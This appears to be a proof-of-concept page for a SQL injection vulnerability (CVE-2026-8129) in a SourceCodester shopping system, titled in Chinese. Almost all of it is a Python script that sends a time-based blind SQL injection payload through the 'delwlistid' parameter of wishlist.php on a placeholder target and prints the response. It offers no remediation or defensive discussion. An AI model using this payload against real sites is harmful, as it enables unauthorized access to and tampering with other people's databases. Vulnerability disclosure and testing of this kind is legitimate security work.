CVE-2026-8129 SourceCodester购物系统SQL注入漏洞

import requests # Target URL (replace with actual target) target_url = "http://target-host/wishlist.php" # Malicious payload for the 'delwlistid' parameter # Example: Testing for time-based blind injection payload = "1' AND (SELECT SLEEP(5))-- -" params = { "delwlistid": payload } try: response = requests.get(target_url, params=params, timeout=10) # Analyze response time or content to confirm vulnerability print(f"Status Code: {response.status_code}") print("Response received. Check if response time indicates injection.") except Exception as e: print(f"Error: {e}")